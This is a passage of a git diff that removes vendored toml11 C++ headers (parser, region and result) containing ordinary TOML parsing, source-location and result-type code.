skip_line::invoke(loc); - lex_ws::invoke(loc); - - table_type tab; - while(loc.iter() != loc.end()) - { - lex_ws::invoke(loc); - const auto before = loc.iter(); - if(const auto tmp = parse_array_table_key(loc)) // next table found - { - loc.reset(before); - return ok(tab); - } - if(const auto tmp = parse_table_key(loc)) // next table found - { - loc.reset(before); - return ok(tab); - } - - if(const auto kv = parse_key_value_pair(loc)) - { - const auto& kvpair = kv.unwrap(); - const std::vector& keys = kvpair.first.first; - const auto& key_reg = kvpair.first.second; - const value_type& val = kvpair.second; - const auto inserted = - insert_nested_key(tab, val, keys.begin(), keys.end(), key_reg); - if(!inserted) - { - return err(inserted.unwrap_err()); - } - } - else - { - return err(kv.unwrap_err()); - } - - // comment lines are skipped by the above function call. - // However, since the `skip_line` requires at least 1 newline, it fails - // if the file ends with ws and/or comment without newline. - // `skip_line` matches `ws? + comment? + newline`, not `ws` or `comment` - // itself. To skip the last ws and/or comment, call lexers. - // It does not matter if these fails, so the return value is discarded. - lex_ws::invoke(loc); - lex_comment::invoke(loc); - - // skip_line is (whitespace? comment? newline)_{1,}. multiple empty lines - // and comments after the last key-value pairs are allowed. - const auto newline = skip_line::invoke(loc); - if(!newline && loc.iter() != loc.end()) - { - const auto before2 = loc.iter(); - lex_ws::invoke(loc); // skip whitespace - const auto msg = format_underline("toml::parse_table: " - "invalid line format", {{source_location(loc), concat_to_string( - "expected newline, but got '", show_char(*loc.iter()), "'.")}}); - loc.reset(before2); - return err(msg); - } - - // the skip_lines only matches with lines that includes newline. - // to skip the last line that includes comment and/or whitespace - // but no newline, call them one more time. - lex_ws::invoke(loc); - lex_comment::invoke(loc); - } - return ok(tab); -} - -template -result parse_toml_file(location& loc) -{ - using value_type = Value; - using table_type = typename value_type::table_type; - - const auto first = loc.iter(); - if(first == loc.end()) - { - // For empty files, return an empty table with an empty region (zero-length). - // Without the region, error messages would miss the filename. - return ok(value_type(table_type{}, region(loc, first, first), {})); - } - - // put the first line as a region of a file - // Here first != loc.end(), so taking std::next is okay - const region file(loc, first, std::next(loc.iter())); - - // The first successive comments that are separated from the first value - // by an empty line are for a file itself. - // ```toml - // # this is a comment for a file. - // - // key = "the first value" - // ``` - // ```toml - // # this is a comment for "the first value". - // key = "the first value" - // ``` - std::vector comments; - using lex_first_comments = sequence< - repeat, lex_comment, lex_newline>, at_least<1>>, - sequence, lex_newline> - >; - if(const auto token = lex_first_comments::invoke(loc)) - { - location inner_loc(loc.name(), token.unwrap().str()); - while(inner_loc.iter() != inner_loc.end()) - { - maybe::invoke(inner_loc); // remove ws if exists - if(lex_newline::invoke(inner_loc)) - { - assert(inner_loc.iter() == inner_loc.end()); - break; // empty line found. - } - auto com = lex_comment::invoke(inner_loc).unwrap().str(); - com.erase(com.begin()); // remove # sign - comments.push_back(std::move(com)); - lex_newline::invoke(inner_loc); - } - } - - table_type data; - // root object is also a table, but without [tablename] - if(const auto tab = parse_ml_table(loc)) - { - data = std::move(tab.unwrap()); - } - else // failed (empty table is regarded as success in parse_ml_table) - { - return err(tab.unwrap_err()); - } - while(loc.iter() != loc.end()) - { - // here, the region of [table] is regarded as the table-key because - // the table body is normally too big and it is not so informative - // if the first key-value pair of the table is shown in the error - // message. - if(const auto tabkey = parse_array_table_key(loc)) - { - const auto tab = parse_ml_table(loc); - if(!tab){return err(tab.unwrap_err());} - - const auto& tk = tabkey.unwrap(); - const auto& keys = tk.first; - const auto& reg = tk.second; - - const auto inserted = insert_nested_key(data, - value_type(tab.unwrap(), reg, reg.comments()), - keys.begin(), keys.end(), reg, - /*is_array_of_table=*/ true); - if(!inserted) {return err(inserted.unwrap_err());} - - continue; - } - if(const auto tabkey = parse_table_key(loc)) - { - const auto tab = parse_ml_table(loc); - if(!tab){return err(tab.unwrap_err());} - - const auto& tk = tabkey.unwrap(); - const auto& keys = tk.first; - const auto& reg = tk.second; - - const auto inserted = insert_nested_key(data, - value_type(tab.unwrap(), reg, reg.comments()), - keys.begin(), keys.end(), reg); - if(!inserted) {return err(inserted.unwrap_err());} - - continue; - } - return err(format_underline("toml::parse_toml_file: " - "unknown line appeared", {{source_location(loc), "unknown format"}})); - } - - return ok(Value(std::move(data), file, comments)); -} - -} // detail - -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value -parse(std::istream& is, const std::string& fname = "unknown file") -{ - using value_type = basic_value; - - const auto beg = is.tellg(); - is.seekg(0, std::ios::end); - const auto end = is.tellg(); - const auto fsize = end - beg; - is.seekg(beg); - - // read whole file as a sequence of char - assert(fsize >= 0); - std::vector letters(static_cast(fsize)); - is.read(letters.data(), fsize); - - // append LF. - // Although TOML does not require LF at the EOF, to make parsing logic - // simpler, we "normalize" the content by adding LF if it does not exist. - // It also checks if the last char is CR, to avoid changing the meaning. - // This is not the *best* way to deal with the last character, but is a - // simple and quick fix. - if(!letters.empty() && letters.back() != '\n' && letters.back() != '\r') - { - letters.push_back('\n'); - } - - detail::location loc(std::move(fname), std::move(letters)); - - // skip BOM if exists. - // XXX component of BOM (like 0xEF) exceeds the representable range of - // signed char, so on some (actually, most) of the environment, these cannot - // be compared to char. However, since we are always out of luck, we need to - // check our chars are equivalent to BOM. To do this, first we need to - // convert char to unsigned char to guarantee the comparability. - if(loc.source()->size() >= 3) - { - std::array BOM; - std::memcpy(BOM.data(), loc.source()->data(), 3); - if(BOM[0] == 0xEF && BOM[1] == 0xBB && BOM[2] == 0xBF) - { - loc.advance(3); // BOM found. skip. - } - } - - const auto data = detail::parse_toml_file(loc); - if(!data) - { - throw syntax_error(data.unwrap_err(), source_location(loc)); - } - return data.unwrap(); -} - -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value parse(const std::string& fname) -{ - std::ifstream ifs(fname.c_str(), std::ios_base::binary); - if(!ifs.good()) - { - throw std::runtime_error("toml::parse: file open error -> " + fname); - } - return parse(ifs, fname); -} - -#ifdef TOML11_HAS_STD_FILESYSTEM -// This function just forwards `parse("filename.toml")` to std::string version -// to avoid the ambiguity in overload resolution. -// -// Both std::string and std::filesystem::path are convertible from const char*. -// Without this, both parse(std::string) and parse(std::filesystem::path) -// matches to parse("filename.toml"). This breaks the existing code. -// -// This function exactly matches to the invocation with c-string. -// So this function is preferred than others and the ambiguity disappears. -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value parse(const char* fname) -{ - return parse(std::string(fname)); -} - -template class Table = std::unordered_map, - template class Array = std::vector> -basic_value parse(const std::filesystem::path& fpath) -{ - std::ifstream ifs(fpath, std::ios_base::binary); - if(!ifs.good()) - { - throw std::runtime_error("toml::parse: file open error -> " + - fpath.string()); - } - return parse(ifs, fpath.string()); -} -#endif // TOML11_HAS_STD_FILESYSTEM - -} // toml -#endif// TOML11_PARSER_HPP diff --git a/src/toml11/toml/region.hpp b/src/toml11/toml/region.hpp deleted file mode 100644 index 2e01e51d0..000000000 --- a/src/toml11/toml/region.hpp +++ /dev/null @@ -1,417 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_REGION_HPP -#define TOML11_REGION_HPP -#include -#include -#include -#include -#include -#include -#include -#include "color.hpp" - -namespace toml -{ -namespace detail -{ - -// helper function to avoid std::string(0, 'c') or std::string(iter, iter) -template -std::string make_string(Iterator first, Iterator last) -{ - if(first == last) {return "";} - return std::string(first, last); -} -inline std::string make_string(std::size_t len, char c) -{ - if(len == 0) {return "";} - return std::string(len, c); -} - -// region_base is a base class of location and region that are defined below. -// it will be used to generate better error messages. -struct region_base -{ - region_base() = default; - virtual ~region_base() = default; - region_base(const region_base&) = default; - region_base(region_base&& ) = default; - region_base& operator=(const region_base&) = default; - region_base& operator=(region_base&& ) = default; - - virtual bool is_ok() const noexcept {return false;} - virtual char front() const noexcept {return '\0';} - - virtual std::string str() const {return std::string("unknown region");} - virtual std::string name() const {return std::string("unknown file");} - virtual std::string line() const {return std::string("unknown line");} - virtual std::string line_num() const {return std::string("?");} - - // length of the region - virtual std::size_t size() const noexcept {return 0;} - // number of characters in the line before the region - virtual std::size_t before() const noexcept {return 0;} - // number of characters in the line after the region - virtual std::size_t after() const noexcept {return 0;} - - virtual std::vector comments() const {return {};} - // ```toml - // # comment_before - // key = "value" # comment_inline - // ``` -}; - -// location represents a position in a container, which contains a file content. -// it can be considered as a region that contains only one character. -// -// it contains pointer to the file content and iterator that points the current -// location. -struct location final : public region_base -{ - using const_iterator = typename std::vector::const_iterator; - using difference_type = typename const_iterator::difference_type; - using source_ptr = std::shared_ptr>; - - location(std::string source_name, std::vector cont) - : source_(std::make_shared>(std::move(cont))), - line_number_(1), source_name_(std::move(source_name)), iter_(source_->cbegin()) - {} - location(std::string source_name, const std::string& cont) - : source_(std::make_shared>(cont.begin(), cont.end())), - line_number_(1), source_name_(std::move(source_name)), iter_(source_->cbegin()) - {} - - location(const location&) = default; - location(location&&) = default; - location& operator=(const location&) = default; - location& operator=(location&&) = default; - ~location() = default; - - bool is_ok() const noexcept override {return static_cast(source_);} - char front() const noexcept override {return *iter_;} - - // this const prohibits codes like `++(loc.iter())`. - const const_iterator iter() const noexcept {return iter_;} - - const_iterator begin() const noexcept {return source_->cbegin();} - const_iterator end() const noexcept {return source_->cend();} - - // XXX `location::line_num()` used to be implemented using `std::count` to - // count a number of '\n'. But with a long toml file (typically, 10k lines), - // it becomes intolerably slow because each time it generates error messages, - // it counts '\n' from thousands of characters. To workaround it, I decided - // to introduce `location::line_number_` member variable and synchronize it - // to the location changes the point to look. So an overload of `iter()` - // which returns mutable reference is removed and `advance()`, `retrace()` - // and `reset()` is added. - void advance(difference_type n = 1) noexcept - { - this->line_number_ += static_cast( - std::count(this->iter_, std::next(this->iter_, n), '\n')); - this->iter_ += n; - return; - } - void retrace(difference_type n = 1) noexcept - { - this->line_number_ -= static_cast( - std::count(std::prev(this->iter_, n), this->iter_, '\n')); - this->iter_ -= n; - return; - } - void reset(const_iterator rollback) noexcept - { - // since c++11, std::distance works in both ways for random-access - // iterators and returns a negative value if `first > last`. - if(0 <= std::distance(rollback, this->iter_)) // rollback < iter - { - this->line_number_ -= static_cast( - std::count(rollback, this->iter_, '\n')); - } - else // iter < rollback [[unlikely]] - { - this->line_number_ += static_cast( - std::count(this->iter_, rollback, '\n')); - } - this->iter_ = rollback; - return; - } - - std::string str() const override {return make_string(1, *this->iter());} - std::string name() const override {return source_name_;} - - std::string line_num() const override - { - return std::to_string(this->line_number_); - } - - std::string line() const override - { - return make_string(this->line_begin(), this->line_end()); - } - - const_iterator line_begin() const noexcept - { - using reverse_iterator = std::reverse_iterator; - return std::find(reverse_iterator(this->iter()), - reverse_iterator(this->begin()), '\n').base(); - } - const_iterator line_end() const noexcept - { - return std::find(this->iter(), this->end(), '\n'); - } - - // location is always points a character. so the size is 1. - std::size_t size() const noexcept override - { - return 1u; - } - std::size_t before() const noexcept override - { - const auto sz = std::distance(this->line_begin(), this->iter()); - assert(sz >= 0); - return static_cast(sz); - } - std::size_t after() const noexcept override - { - const auto sz = std::distance(this->iter(), this->line_end()); - assert(sz >= 0); - return static_cast(sz); - } - - source_ptr const& source() const& noexcept {return source_;} - source_ptr&& source() && noexcept {return std::move(source_);} - - private: - - source_ptr source_; - std::size_t line_number_; - std::string source_name_; - const_iterator iter_; -}; - -// region represents a range in a container, which contains a file content. -// -// it contains pointer to the file content and iterator that points the first -// and last location. -struct region final : public region_base -{ - using const_iterator = typename std::vector::const_iterator; - using source_ptr = std::shared_ptr>; - - // delete default constructor. source_ never be null. - region() = delete; - - explicit region(const location& loc) - : source_(loc.source()), source_name_(loc.name()), - first_(loc.iter()), last_(loc.iter()) - {} - explicit region(location&& loc) - : source_(loc.source()), source_name_(loc.name()), - first_(loc.iter()), last_(loc.iter()) - {} - - region(const location& loc, const_iterator f, const_iterator l) - : source_(loc.source()), source_name_(loc.name()), first_(f), last_(l) - {} - region(location&& loc, const_iterator f, const_iterator l) - : source_(loc.source()), source_name_(loc.name()), first_(f), last_(l) - {} - - region(const region&) = default; - region(region&&) = default; - region& operator=(const region&) = default; - region& operator=(region&&) = default; - ~region() = default; - - region& operator+=(const region& other) - { - // different regions cannot be concatenated - assert(this->begin() == other.begin() && this->end() == other.end() && - this->last_ == other.first_); - - this->last_ = other.last_; - return *this; - } - - bool is_ok() const noexcept override {return static_cast(source_);} - char front() const noexcept override {return *first_;} - - std::string str() const override {return make_string(first_, last_);} - std::string line() const override - { - if(this->contain_newline()) - { - return make_string(this->line_begin(), - std::find(this->line_begin(), this->last(), '\n')); - } - return make_string(this->line_begin(), this->line_end()); - } - std::string line_num() const override - { - return std::to_string(1 + std::count(this->begin(), this->first(), '\n')); - } - - std::size_t size() const noexcept override - { - const auto sz = std::distance(first_, last_); - assert(sz >= 0); - return static_cast(sz); - } - std::size_t before() const noexcept override - { - const auto sz = std::distance(this->line_begin(), this->first()); - assert(sz >= 0); - return static_cast(sz); - } - std::size_t after() const noexcept override - { - const auto sz = std::distance(this->last(), this->line_end()); - assert(sz >= 0); - return static_cast(sz); - } - - bool contain_newline() const noexcept - { - return std::find(this->first(), this->last(), '\n') != this->last(); - } - - const_iterator line_begin() const noexcept - { - using reverse_iterator = std::reverse_iterator; - return std::find(reverse_iterator(this->first()), - reverse_iterator(this->begin()), '\n').base(); - } - const_iterator line_end() const noexcept - { - return std::find(this->last(), this->end(), '\n'); - } - - const_iterator begin() const noexcept {return source_->cbegin();} - const_iterator end() const noexcept {return source_->cend();} - const_iterator first() const noexcept {return first_;} - const_iterator last() const noexcept {return last_;} - - source_ptr const& source() const& noexcept {return source_;} - source_ptr&& source() && noexcept {return std::move(source_);} - - std::string name() const override {return source_name_;} - - std::vector comments() const override - { - // assuming the current region (`*this`) points a value. - // ```toml - // a = "value" - // ^^^^^^^- this region - // ``` - using rev_iter = std::reverse_iterator; - - std::vector com{}; - { - // find comments just before the current region. - // ```toml - // # this should be collected. - // # this also. - // a = value # not this. - // ``` - - // # this is a comment for `a`, not array elements. - // a = [1, 2, 3, 4, 5] - if(this->first() == std::find_if(this->line_begin(), this->first(), - [](const char c) noexcept -> bool {return c == '[' || c == '{';})) - { - auto iter = this->line_begin(); // points the first character - while(iter != this->begin()) - { - iter = std::prev(iter); - - // range [line_start, iter) represents the previous line - const auto line_start = std::find( - rev_iter(iter), rev_iter(this->begin()), '\n').base(); - const auto comment_found = std::find(line_start, iter, '#'); - if(comment_found == iter) - { - break; // comment not found. - } - - // exclude the following case. - // > a = "foo" # comment // <-- this is not a comment for b but a. - // > b = "current value" - if(std::all_of(line_start, comment_found, - [](const char c) noexcept -> bool { - return c == ' ' || c == '\t'; - })) - { - // unwrap the first '#' by std::next. - auto s = make_string(std::next(comment_found), iter); - if(!s.empty() && s.back() == '\r') {s.pop_back();} - com.push_back(std::move(s)); - } - else - { - break; - } - iter = line_start; - } - } - } - - if(com.size() > 1) - { - std::reverse(com.begin(), com.end()); - } - - { - // find comments just after the current region. - // ```toml - // # not this. - // a = value # this one. - // a = [ # not this (technically difficult) - // - // ] # and this. - // ``` - // The reason why it's difficult is that it requires parsing in the - // following case. - // ```toml - // a = [ 10 # this comment is for `10`. not for `a` but `a[0]`. - // # ... - // ] # this is apparently a comment for a. - // - // b = [ - // 3.14 ] # there is no way to add a comment to `3.14` currently. - // - // c = [ - // 3.14 # do this if you need a comment here. - // ] - // ``` - const auto comment_found = - std::find(this->last(), this->line_end(), '#'); - if(comment_found != this->line_end()) // '#' found - { - // table = {key = "value"} # what is this for? - // the above comment is not for "value", but {key="value"}. - if(comment_found == std::find_if(this->last(), comment_found, - [](const char c) noexcept -> bool { - return !(c == ' ' || c == '\t' || c == ','); - })) - { - // unwrap the first '#' by std::next. - auto s = make_string(std::next(comment_found), this->line_end()); - if(!s.empty() && s.back() == '\r') {s.pop_back();} - com.push_back(std::move(s)); - } - } - } - return com; - } - - private: - - source_ptr source_; - std::string source_name_; - const_iterator first_, last_; -}; - -} // detail -} // toml -#endif// TOML11_REGION_H diff --git a/src/toml11/toml/result.hpp b/src/toml11/toml/result.hpp deleted file mode 100644 index 77cd46c64..000000000 --- a/src/toml11/toml/result.hpp +++ /dev/null @@ -1,717 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_RESULT_HPP -#define TOML11_RESULT_HPP -#include "traits.hpp" -#include -#include -#include -#include -#include -#include -#include - -namespace toml -{ - -template -struct success -{ - using value_type = T; - value_type value; - - explicit success(const value_type& v) - noexcept(std::is_nothrow_copy_constructible::value) - : value(v) - {} - explicit success(value_type&& v) - noexcept(std::is_nothrow_move_constructible::value) - : value(std::move(v)) - {} - - template - explicit success(U&& v): value(std::forward(v)) {} - - template - explicit success(const success& v): value(v.value) {} - template - explicit success(success&& v): value(std::move(v.value)) {} - - ~success() = default; - success(const success&) = default; - success(success&&) = default; - success& operator=(const success&) = default; - success& operator=(success&&) = default; -}; - -template -struct failure -{ - using value_type = T; - value_type value; - - explicit failure(const value_type& v) - noexcept(std::is_nothrow_copy_constructible::value) - : value(v) - {} - explicit failure(value_type&& v) - noexcept(std::is_nothrow_move_constructible::value) - : value(std::move(v)) - {} - - template - explicit failure(U&& v): value(std::forward(v)) {} - - template - explicit failure(const failure& v): value(v.value) {} - template - explicit failure(failure&& v): value(std::move(v.value)) {} - - ~failure() = default; - failure(const failure&) = default; - failure(failure&&) = default; - failure& operator=(const failure&) = default; - failure& operator=(failure&&) = default; -}; - -template -success::type>::type> -ok(T&& v) -{ - return success< - typename std::remove_cv::type>::type - >(std::forward(v)); -} -template -failure::type>::type> -err(T&& v) -{ - return failure< - typename std::remove_cv::type>::type - >(std::forward(v)); -} - -inline success ok(const char* literal) -{ - return success(std::string(literal)); -} -inline failure err(const char* literal) -{ - return failure(std::string(literal)); -} - - -template -struct result -{ - using value_type = T; - using error_type = E; - using success_type = success; - using failure_type = failure; - - result(const success_type& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(s); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - result(const failure_type& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(f); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - result(success_type&& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - result(failure_type&& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - - template - result(const success& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(s.value); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - template - result(const failure& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(f.value); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - template - result(success&& s): is_ok_(true) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s.value)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - template - result(failure&& f): is_ok_(false) - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f.value)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - - result& operator=(const success_type& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(s); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - result& operator=(const failure_type& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(f); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - result& operator=(success_type&& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - result& operator=(failure_type&& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - - template - result& operator=(const success& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(s.value); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - template - result& operator=(const failure& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(f.value); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - template - result& operator=(success&& s) - { - this->cleanup(); - this->is_ok_ = true; - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s.value)); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - return *this; - } - template - result& operator=(failure&& f) - { - this->cleanup(); - this->is_ok_ = false; - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f.value)); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - return *this; - } - - ~result() noexcept {this->cleanup();} - - result(const result& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - result(result&& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - - template - result(const result& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - template - result(result&& other): is_ok_(other.is_ok()) - { - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - } - - result& operator=(const result& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - result& operator=(result&& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - - template - result& operator=(const result& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(other.as_ok()); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(other.as_err()); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - template - result& operator=(result&& other) - { - this->cleanup(); - if(other.is_ok()) - { - auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(other.as_ok())); - assert(tmp == std::addressof(this->succ)); - (void)tmp; - } - else - { - auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(other.as_err())); - assert(tmp == std::addressof(this->fail)); - (void)tmp; - } - is_ok_ = other.is_ok(); - return *this; - } - - bool is_ok() const noexcept {return is_ok_;} - bool is_err() const noexcept {return !is_ok_;} - - operator bool() const noexcept {return is_ok_;} - - value_type& unwrap() & - { - if(is_err()) - { - throw std::runtime_error("toml::result: bad unwrap: " + - format_error(this->as_err())); - } - return this->succ.value; - } - value_type const& unwrap() const& - { - if(is_err()) - { - throw std::runtime_error("toml::result: bad unwrap: " + - format_error(this->as_err())); - } - return this->succ.value; - } - value_type&& unwrap() && - { - if(is_err()) - { - throw std::runtime_error("toml::result: bad unwrap: " + - format_error(this->as_err())); - } - return std::move(this->succ.value); - } - - value_type& unwrap_or(value_type& opt) & - { - if(is_err()) {return opt;} - return this->succ.value; - } - value_type const& unwrap_or(value_type const& opt) const& - { - if(is_err()) {return opt;} - return this->succ.value; - } - value_type unwrap_or(value_type opt) && - { - if(is_err()) {return opt;} - return this->succ.value; - } - - error_type& unwrap_err() & - { - if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");} - return this->fail.value; - } - error_type const& unwrap_err() const& - { - if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");} - return this->fail.value; - } - error_type&& unwrap_err() && - { - if(is_ok()) {throw std::runtime_error("toml::result: bad unwrap_err");} - return std::move(this->fail.value); - } - - value_type& as_ok() & noexcept {return this->succ.value;} - value_type const& as_ok() const& noexcept {return this->succ.value;} - value_type&& as_ok() && noexcept {return std::move(this->succ.value);} - - error_type& as_err() & noexcept {return this->fail.value;} - error_type const& as_err() const& noexcept {return this->fail.value;} - error_type&& as_err() && noexcept {return std::move(this->fail.value);} - - - // prerequisities - // F: T -> U - // retval: result - template - result, error_type> - map(F&& f) & - { - if(this->is_ok()){return ok(f(this->as_ok()));} - return err(this->as_err()); - } - template - result, error_type> - map(F&& f) const& - { - if(this->is_ok()){return ok(f(this->as_ok()));} - return err(this->as_err()); - } - template - result, error_type> - map(F&& f) && - { - if(this->is_ok()){return ok(f(std::move(this->as_ok())));} - return err(std::move(this->as_err())); - } - - // prerequisities - // F: E -> F - // retval: result - template - result> - map_err(F&& f) & - { - if(this->is_err()){return err(f(this->as_err()));} - return ok(this->as_ok()); - } - template - result> - map_err(F&& f) const& - { - if(this->is_err()){return err(f(this->as_err()));} - return ok(this->as_ok()); - } - template - result> - map_err(F&& f) && - { - if(this->is_err()){return err(f(std::move(this->as_err())));} - return ok(std::move(this->as_ok())); - } - - // prerequisities - // F: T -> U - // retval: U - template - detail::return_type_of_t - map_or_else(F&& f, U&& opt) & - { - if(this->is_err()){return std::forward(opt);} - return f(this->as_ok()); - } - template - detail::return_type_of_t - map_or_else(F&& f, U&& opt) const& - { - if(this->is_err()){return std::forward(opt);} - return f(this->as_ok()); - } - template - detail::return_type_of_t - map_or_else(F&& f, U&& opt) && - { - if(this->is_err()){return std::forward(opt);} - return f(std::move(this->as_ok())); - } - - // prerequisities - // F: E -> U - // retval: U - template - detail::return_type_of_t - map_err_or_else(F&& f, U&& opt) & - { - if(this->is_ok()){return std::forward(opt);} - return f(this->as_err()); - } - template - detail::return_type_of_t - map_err_or_else(F&& f, U&& opt) const& - { - if(this->is_ok()){return std::forward(opt);} - return f(this->as_err()); - } - template - detail::return_type_of_t - map_err_or_else(F&& f, U&& opt) && - { - if(this->is_ok()){return std::forward(opt);} - return f(std::move(this->as_err())); - } - - // prerequisities: - // F: func T -> U - // toml::err(error_type) should be convertible to U. - // normally, type U is another result and E is convertible to F - template - detail::return_type_of_t - and_then(F&& f) & - { - if(this->is_ok()){return f(this->as_ok());} - return err(this->as_err()); - } - template - detail::return_type_of_t - and_then(F&& f) const& - { - if(this->is_ok()){return f(this->as_ok());} - return err(this->as_err()); - } - template - detail::return_type_of_t - and_then(F&& f) && - { - if(this->is_ok()){return f(std::move(this->as_ok()));} - return err(std::move(this->as_err())); - } - - // prerequisities: - // F: func E -> U - // toml::ok(value_type) should be convertible to U. - // normally, type U is another result and T is convertible to S - template - detail::return_type_of_t - or_else(F&& f) & - { - if(this->is_err()){return f(this->as_err());} - return ok(this->as_ok()); - } - template - detail::return_type_of_t - or_else(F&& f) const& - { - if(this->is_err()){return f(this->as_err());} - return ok(this->as_ok()); - } - template - detail::return_type_of_t - or_else(F&& f) && - { - if(this->is_err()){return f(std::move(this->as_err()));} - return ok(std::move(this->as_ok())); - } - - // if *this is error, returns *this. otherwise, returns other. - result and_other(const result& other) const& - { - return this->is_err() ? *this : other; - } - result and_other(result&& other) && - { - return this->is_err() ? std::move(*this) : std::move(other); - } - - // if *this is okay, returns *this. otherwise, returns other. - result or_other(const result& other) const& - { - return this->is_ok() ? *this : other; - } - result or_other(result&& other) && - { - return this->is_ok() ? std::move(*this) : std::move(other); - } - - void swap(result& other) - { - result tmp(std::move(*this)); - *this = std::move(other); - other = std::move(tmp); - return ; - } - - private: - - static std::string format_error(std::exception const& excpt) - { - return std::string(excpt.what()); - } - template::value, std::nullptr_t>::type = nullptr> - static std::string format_error(U const& others) - { - std::ostringstream oss; oss << others; - return oss.str(); - } - - void cleanup() noexcept - { - if(this->is_ok_) {this->succ.~success_type();} - else {this->fail.~failure_type();} - return; - } - - private: - - bool is_ok_; - union - { - success_type succ; - failure_type fail; - }; -}; - -template -void swap(result& lhs, result& rhs) -{ - lhs.swap(rhs); - return; -} - -// this might be confusing because it eagerly evaluated, while in the other -// cases operator && and || are short-circuited. -// -// template -// inline result -// operator&&(const result& lhs, const result& rhs) noexcept -// { -// return lhs.is_ok() ? rhs : lhs; -// } -// -// template -// inline result -// operator||(const result& lhs, const result& rhs) noexcept -// { -// return lhs.is_ok() ? lhs : rhs; -// } - -// ---------------------------------------------------------------------------- -// re-use result as a optional with none_t - -namespace detail -{ -struct none_t {}; -inline bool operator==(const none_t&, const none_t&) noexcept {return true;} -inline bool operator!=(const none_t&, const none_t&) noexcept {return false;} -inline bool operator< (const none_t&, const none_t&) noexcept {return false;} -inline bool operator<=(const none_t&, const 